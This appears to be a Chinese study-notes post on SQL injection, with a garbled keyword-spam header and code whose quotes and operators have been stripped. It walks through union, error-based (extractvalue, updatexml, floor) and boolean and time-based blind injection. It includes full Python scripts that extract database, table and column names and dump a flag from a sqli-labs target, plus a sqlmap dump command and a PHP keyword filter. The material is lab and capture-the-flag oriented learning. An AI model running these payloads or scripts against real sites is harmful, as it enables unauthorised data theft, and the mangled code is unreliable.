网站建设和网站设计有什么区别,WordPress总是收到英文评论,珠海市建设工程质量监督检测站网站,做的好的网站部分内容来自于SQL注入由简入精_哔哩哔哩_bilibili
SQL语句
1.mysqli_error()#xff1a;返回最近调用函数的最后一个错误描述
语法#xff1a;mysqli_error(connection) 规定要使用的Mysql连接;
返回一个带有错误描述的字符串。如果没有错误发生则返回
2…部分内容来自于SQL注入由简入精_哔哩哔哩_bilibili
SQL语句
1.mysqli_error()返回最近调用函数的最后一个错误描述
语法mysqli_error(connection) 规定要使用的Mysql连接;
返回一个带有错误描述的字符串。如果没有错误发生则返回
2.mysqli_errno() 函数返回最近调用函数的最后一个错误代码。
语法mysqli_errno(connection);
返回错误代码值。如果没有错误发生则返回 0。
3.mysqli_fetch_array()从结果集中取得一行作为数字数组或关联数组
语法mysqli_fetch_array(result,resulttype);
返回与读取行匹配的字符串数组。如果结果集中没有更多的行则返回 NULL。
4.mysqli_connect打开一个到 MySQL 服务器的新的连接
语法mysqli_connect(host,username,password,dbname,port,socket);
返回值回一个代表到 MySQL 服务器的连接的对象。
5.mysqli_query执行对数据库的查询
语法mysqli_query(connection,query,resultmode);
参数描述connection必需。规定要使用的 MySQL 连接。query必需规定查询字符串。resultmode 可选。一个常量。可以是下列值中的任意一个 MYSQLI_USE_RESULT如果需要检索大量数据请使用这个MYSQLI_STORE_RESULT默认
返回值针对成功的 SELECT、SHOW、DESCRIBE 或 EXPLAIN 查询将返回一个 mysqli_result 对象。针对其他成功的查询将返回 TRUE。如果失败则返回 FALSE。
字段含义Table_catalog数据表登记目录Table_schema数据表所属的数据库名Table_name表名称Table_type表类型[system view|base table]Engine使用的数据库引擎[MyISAM|CSV|InnoDB]Version版本默认值10Row_format行格式[Compact|Dynamic|Fixed]Table_rows表里所存多少行数据Avg_row_length平均行长度Data_length数据长度Max_data_length最大数据长度Index_length索引长度Data_free空间碎片Auto_increment做自增主键的自动增量当前值Create_time 表的创建时间
Table_collation表的字符校验编码集Checksum校验和Create_options创建选项Table_comment表的注释、备注
PHP过滤语句
return preg_match(/select|update|delete|drop|insert|where|\./i,$inject);
代码功能概述
这段代码使用 preg_match 函数来进行正则表达式匹配操作。它旨在检查变量 $inject 所存储的字符串中是否包含了指定的一些敏感或特定的 SQL 关键字如 select、update、delete、drop、insert、where以及 .点号可能用于匹配表名等涉及的点连接情况等并且匹配操作是不区分大小写的由正则表达式最后的 i 修饰符指定。
如果在 $inject 字符串中找到了符合上述正则表达式模式的内容preg_match 函数会返回匹配到的次数通常如果匹配成功至少返回 1如果没有匹配到则返回 0。
代码示例及可能返回值说明
以下是一个简单的示例代码片段展示如何使用它并理解返回值
?php
$inject SELECT * FROM users; // 这里模拟一个可能包含敏感关键字的输入字符串
$result preg_match(/select|update|delete|drop|insert|where|\./i, $inject);
if ($result) {echo 检测到可能存在风险的 SQL 关键字;
} else {echo 未检测到风险关键字;
}
?在上述示例中由于 $inject 字符串中包含了 SELECT因为匹配是不区分大小写的能匹配到正则表达式中的 select 部分所以 $result 的值会为 1从而会输出 检测到可能存在风险的 SQL 关键字。 TABLE_SCHEMA ----所有数据库的库名 TABLE_NAME ----所有表的表名 SQL整数型注入/字符型注入 判断是数字型注入还是字符型注入【字符型需要‘’闭合符而数字型不用】
方法一提交 and 11和提交 and 12 都能正常显示界面 字符型注入
方法二提交 id1和提交id2-1界面相同 数字型注入数字可以运算
方法三id1后面随便跟一大堆字母有回显就是字符型没回显就是数字型
注释符号“--”//“#”//“%23”
网页往往有时候只能显示第一行内容
查询列数group by不会被防火墙发现 order by 【知道是什么类型的】--【知道有几列】--【知道存放重要信息的那个数据库名字叫啥】 --【知道那个重要的数据库里头需要找的表名字叫啥】--【知道每一列列名叫啥】--【把那个列 名打印出来】 弄明白你要找的那个表名是啥 table_schemasecurity
库名是security表示限制information_schema.tables这个表的列是security
下面是information_schema.table数据库里头table这个表具体长什么样子这个表主要存放其他所有表的信息包括其他表的表名那些表都来自于哪个库...... group_concat(table_name) 将所有table_name集中到一行显示 弄明白你要查的那个叫users的表里头每一列都是什么名字
精准定位where 库名叫security表名叫users 查询最终账号与密码
因为我们已经在security这个库里头了而users这个表就在这个库中所以我们可以直接写
from users sql注入常用函数 1user() 返回当前使用数据库的用户也就是网站配置文件中连接数据库的账号
2version() 返回当前数据库的版本
3database() 返回当前使用的数据库只有在use命令选择一个数据库之后才能查到
4group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串
5datadir 数据库路径
6version_compile_os 操作系统版本
MySQL系统库
information_schema库是信息数据库存放MySQL服务器所维护的所有其他数据库的信息例如数据库或者表的名称列的数据类型或者访问权限 SCHEMATA表提供了当前MySQL所有数据库的信息show database 的结果取之此表 TABLES表提供了关于数据中表的信息 COLUMNS表提供了关于表中列的信息详细描述了一张表中所有列以及每个列的信息 例select column_name from columns在column库里面查询所有表的名字 查看当前数据库的库名show database() 不是databases 查询当前登录数据库的用户select user() 查询数据路径 select datadir
报错注入
1.extractvalue()报错 extractvalue()只有两个参数 如果把参数路径写错则会报错但是查询不到内容
所以需要把查询参数格式写错 0x7e表示~目的在于引起报错 concat()拼接函数
例select concat(1,2) 12
但是extractvalue()报错一次只能显示32个字符
子串函数substring()一次看一截然后拼接起来
2.updatexml()报错 用来更新数据 查询数据库中表的名字 查询列的名字
在这个表中显示列的内容
注意显示的时候为了更清晰可以在中间加上“ ”
用substring() 函数拼接起来 看1~30的字符 看31~59的字符 注意括号括号啊 3.floor报错注入一次可以查看64位
涉及到的函数
rand()函数随即返回0~1之间的小数
floor()函数小数向下取整数向上取整数ceiling()
concat_ws()函数将两块拼接中间用自定义的符号连接
as别名
count()函数汇总统计数量
关于limit()和substr() limit这里用来显示指定行数limit 0,1从第0行开始依次显示1行 limit 1,1从第1行开始依次显示1行 显示结果users表有多少行rand就显示多少随机数 报错流程 查询表名 查询列名 布尔盲注
ascii()转化成ascii码 测试数据库名的长度
测试语句1 and length(database())x #
1、猜测表的数量 1 and (select count(table_name) from information_schema.tables where table_schemasqli)x # 注x为任意正整数1,2,3,4,5.......
通过测试得到表的数量为2。
2、猜测表的长度 1 and length(substr((select table_name from information_schema.tables where table_schemasqli limit 0,1),1))x # 注x为任意正整数1,2,3,4,5.......
通过测试得到第一个表的长度为4
1 and length(substr((select table_name from information_schema.tables where table_schemasqli limit 1,1),1))x # 注x为任意正整数1,2,3,4,5.......
通过测试得到第二个表的长度为4 Python脚本编写
#导入库
import requests#设定环境URL由于每次开启环境得到的URL都不同需要修改
url
#作为盲注成功的标记成功页面会显示query_success
success_mark query_success
#把字母表转化成ascii码的列表方便便利需要时再把ascii码通过chr(int)转化成字母
ascii_range range(ord(a),1ord(z))
#flag的字符范围列表包括花括号、a-z数字0-9
str_range [123,125] list(ascii_range) list(range(48,58))#自定义函数获取数据库名长度
def getLengthofDatabase():#初始化库名长度为1i 1#i从1开始无限循环库名长度while True:new_url url ?id1 and length(database()){}.format(i)#GET请求r requests.get(new_url)#如果返回的页面有query_success即盲猜成功即跳出无限循环if success_mark in r.text:#返回最终库名长度return i#如果没有匹配成功库名长度1接着循环i i 1#自定义函数获取数据库名
def getDatabase(length_of_database):#定义存储库名的变量name #库名有多长就循环多少次for i in range(length_of_database):#切片对每一个字符位遍历字母表#i1是库名的第i1个字符下标j是字符取值a-zfor j in ascii_range:new_url url ?id1 and substr(database(),{},1){}.format(i1,chr(j))r requests.get(new_url)if success_mark in r.text:#匹配到就加到库名变量里name chr(j)#当前下标字符匹配成功退出遍历对下一个下标进行遍历字母表break#返回最终的库名return name#自定义函数获取指定库的表数量
def getCountofTables(database):#初始化表数量为1i 1#i从1开始无限循环while True:new_url url ?id1 and (select count(*) from information_schema.tables where table_schema{}){}.format(database,i)r requests.get(new_url)if success_mark in r.text:#返回最终表数量return i#如果没有匹配成功表数量1接着循环i i 1#自定义函数获取指定库所有表的表名长度
def getLengthListofTables(database,count_of_tables):#定义存储表名长度的列表#使用列表是考虑表数量不为1多张表的情况length_list[]#有多少张表就循环多少次for i in range(count_of_tables):#j从1开始无限循环表名长度j 1while True:#i1是第i1张表new_url url ?id1 and length((select table_name from information_schema.tables where table_schema{} limit {},1)){}.format(database,i,j)r requests.get(new_url)if success_mark in r.text:#匹配到就加到表名长度的列表length_list.append(j)break#如果没有匹配成功表名长度1接着循环j j 1#返回最终的表名长度的列表return length_list#自定义函数获取指定库所有表的表名
def getTables(database,count_of_tables,length_list):#定义存储表名的列表tables[]#表数量有多少就循环多少次for i in range(count_of_tables):#定义存储表名的变量name #表名有多长就循环多少次#表长度和表序号i一一对应for j in range(length_list[i]):#k是字符取值a-zfor k in ascii_range:new_url url ?id1 and substr((select table_name from information_schema.tables where table_schema{} limit {},1),{},1){}.format(database,i,j1,chr(k))r requests.get(new_url)if success_mark in r.text:#匹配到就加到表名变量里name name chr(k)break#添加表名到表名列表里tables.append(name)#返回最终的表名列表return tables#自定义函数获取指定表的列数量
def getCountofColumns(table):#初始化列数量为1i 1#i从1开始无限循环while True:new_url url ?id1 and (select count(*) from information_schema.columns where table_name{}){}.format(table,i)r requests.get(new_url)if success_mark in r.text:#返回最终列数量return i#如果没有匹配成功列数量1接着循环i i 1#自定义函数获取指定库指定表的所有列的列名长度
def getLengthListofColumns(database,table,count_of_column):#定义存储列名长度的变量#使用列表是考虑列数量不为1多个列的情况length_list[]#有多少列就循环多少次for i in range(count_of_column):#j从1开始无限循环列名长度j 1while True:new_url url ?id1 and length((select column_name from information_schema.columns where table_schema{} and table_name{} limit {},1)){}.format(database,table,i,j)r requests.get(new_url)if success_mark in r.text:#匹配到就加到列名长度的列表length_list.append(j)break#如果没有匹配成功列名长度1接着循环j j 1#返回最终的列名长度的列表return length_list#自定义函数获取指定库指定表的所有列名
def getColumns(database,table,count_of_columns,length_list):#定义存储列名的列表columns []#列数量有多少就循环多少次for i in range(count_of_columns):#定义存储列名的变量name #列名有多长就循环多少次#列长度和列序号i一一对应for j in range(length_list[i]):for k in ascii_range:new_url url ?id1 and substr((select column_name from information_schema.columns where table_schema{} and table_name{} limit {},1),{},1){}.format(database,table,i,j1,chr(k))r requests.get(new_url)if success_mark in r.text:#匹配到就加到列名变量里name name chr(k)break#添加列名到列名列表里columns.append(name)#返回最终的列名列表return columns#对指定库指定表指定列爆数据flag
def getData(database,table,column,str_list):#初始化flag长度为1j 1#j从1开始无限循环flag长度while True:#flag中每一个字符的所有可能取值for i in str_list:new_url url ?id1 and substr((select {} from {}.{}),{},1){}.format(column,database,table,j,chr(i))r requests.get(new_url)#如果返回的页面有query_success即盲猜成功跳过余下的for循环if success_mark in r.text:#显示flagprint(chr(i),end)#flag的终止条件即flag的尾端右花括号if chr(i) }:print()return 1break#如果没有匹配成功flag长度1接着循环j j 1#--主函数--
if __name__ __main__:#爆flag的操作#还有仿sqlmap的UI美化print(Judging the number of tables in the database...)database getDatabase(getLengthofDatabase())count_of_tables getCountofTables(database)print([]There are {} tables in this database.format(count_of_tables))print()print(Getting the table name...)length_list_of_tables getLengthListofTables(database,count_of_tables)tables getTables(database,count_of_tables,length_list_of_tables)for i in tables:print([]{}.format(i))print(The table names in this database are : {}.format(tables))#选择所要查询的表i input(Select the table name:)if i not in tables:print(Error!)exit()print()print(Getting the column names in the {} table.......format(i))count_of_columns getCountofColumns(i)print([]There are {} tables in the {} table.format(count_of_columns,i))length_list_of_columns getLengthListofColumns(database,i,count_of_columns)columns getColumns(database,i,count_of_columns,length_list_of_columns)print([]The column(s) name in {} table is:{}.format(i,columns))#选择所要查询的列j input(Select the column name:)if j not in columns:print(Error!)exit()print()print(Getting the flag......)print([]The flag is ,end)getData(database,i,j,str_range)知识点
1.ord(a):将字符a转换成ascii码形式
str_range [123,125] list(ascii_range) list(range(48,58))1. [123, 125]这是包含两个整数元素 123 和 125 的列表。
2.list(ascii_range)这里将 ascii_range 转换为列表形式前提是 ascii_range 本身不是列表类型若是列表类型这一步只是简单的取值操作然后添加到 str_range 中
3.list()和range()的区别
for i in range(5):这里i会依次取 0、1、2、3、4。还可以指定起始值、结束值和步长如range(2, 10, 2)它会生成从 2 开始小于 10步长为 2 的整数序列即2, 4, 6, 8。
list()append用于在列表末尾添加元素pop用于删除并返回指定索引的元素等。
可以很容易地将range对象转换为列表。例如list(range(5))会将range(0, 5)这个对象转换为[0, 1, 2, 3, 4]列表。
list的切片操作
list[start:stop:step]其中start是切片的起始索引包含该索引对应的元素stop是切片的结束索引不包含该索引对应的元素step是步长即每次选取元素的间隔。这三个参数都是可选的 chr()是一个内置函数。它的主要作用是将一个整数代表 Unicode 码点转换为对应的字符
时间盲注
python脚本
import time
import requestsurl http://127.0.0.1/sqli-labs-master/less-9/index.phpdef inject_database(url):name for i in range(1, 20):low 32high 128mid (low high) // 2while low high:payload 1 and if(ascii(substr(database(), %d, 1)) %d, sleep(1), 0)-- % (i, mid)res {id: payload}start_time time.time()r requests.get(url, paramsres)end_time time.time()if end_time - start_time 1:low mid 1else:high midmid (low high) // 2if mid 32:breakname name chr(mid)print(name)inject_database(url)具体解析
mid(lowhigh)//2 :整除并向下取整数 如7//23
3. payload 1 and if(ascii(substr(database(), %d, 1)) %d, sleep(1), 0)-- % (i, mid) 语句部分
字符串拼接与格式化 这是在构建一个用于发送请求的 payload有效载荷在这里可以理解为构造的带有恶意意图的 SQL 语句部分。% 操作符在这里用于字符串的格式化(i, mid) 是要填充到前面字符串中 %d 占位符位置的值。i 和 mid 应该是在代码前面部分定义好的整数变量每次循环时将它们的值按照顺序替换到字符串相应位置。
if(ascii(substr(database(), %d, 1)) %d, sleep(1), 0)这是一个条件判断表达式意思是如果刚才获取到的那个字符的 ASCII 码值大于 mid%d 会被 mid 替换这个值就执行 sleep(1)也就是让数据库休眠 1 秒钟这会导致整个请求响应时间变长如果不大于就返回 0不会造成明显的时间延迟。最后整个构造的语句后面跟着 -- 这通常是 SQL 中的注释符用于注释掉后面可能多余的语句避免影响前面构造语句的执行逻辑。 start_time time.time() 和 end_time time.time() 语句部分 这是在利用 Python 的 time 模块记录时间。time.time() 函数会返回从 1970 年 1 月 1 日 00:00:00 UTC 到当前时间的秒数时间戳。先是在发送请求前记录了开始时间 start_time然后在请求结束后记录了结束时间 end_time目的是通过计算两者差值来判断请求花费的时间。
关于params
在 Python 的requests库中params是一个用于在发送 GET 请求时传递查询参数的参数。当你发送一个 GET 请求到一个 URL 时查询参数通常是跟在 URL 后面的键值对用于向服务器提供额外的信息以影响服务器返回的内容。例如如果你有一个 URLhttp://example.com/api?key1 value1key2 value2这里的key1 value1和key2 value2就是查询参数。在requests库中你可以使用params来构建这样的查询参数。以下是一个简单的示例在这个示例中requests.get函数中的params参数接收一个字典{city: New York, date: 2024-12-21}这个字典的键city和date是查询参数的名称值New York和2024-12-21是对应的参数值。当请求发送时requests库会自动将这些参数编码并附加到url后面形成一个完整的带有查询参数的 URL类似http://weather - api.com/query?city New Yorkdate 2024-12-21然后发送这个请求。假设我们要查询一个天气 API查询参数可能包括城市名称city和日期date import requests
url http://weather-api.com/query
params {city: New York, date: 2024-12-21}
r requests.get(url, paramsparams)
print(r.url)在本例中 payload 1 and if(ascii(substr(database(), %d, 1)) %d, sleep(1), 0)-- % (i, mid)res {id: payload}start_time time.time()r requests.get(url, paramsres)
sqlmap工具 sqlmap -u http://xx/?id1 -D sqli -T flag -C flag --dump
-u这个参数用于指定目标 URL。-D用于指定数据库名称。这里指定的数据库名称是sqlisqlmap会将后续的操作聚焦在这个数据库上。-T指定数据库中的表名称。在这个命令中表名称是flag表示sqlmap将尝试从这个名为flag的表中获取数据。-C用于指定表中的列名称。这里的列名称是flag这意味着sqlmap主要是想从flag表的flag列中提取数据。--dump这是sqlmap的一个重要操作命令。它告诉sqlmap将从指定的列由-C指定中提取数据并显示出来。这个过程实际上是利用了 SQL 注入漏洞如果存在的话来获取数据库中的敏感信息。例如这些敏感信息可能包括用户账号、密码、配置信息等。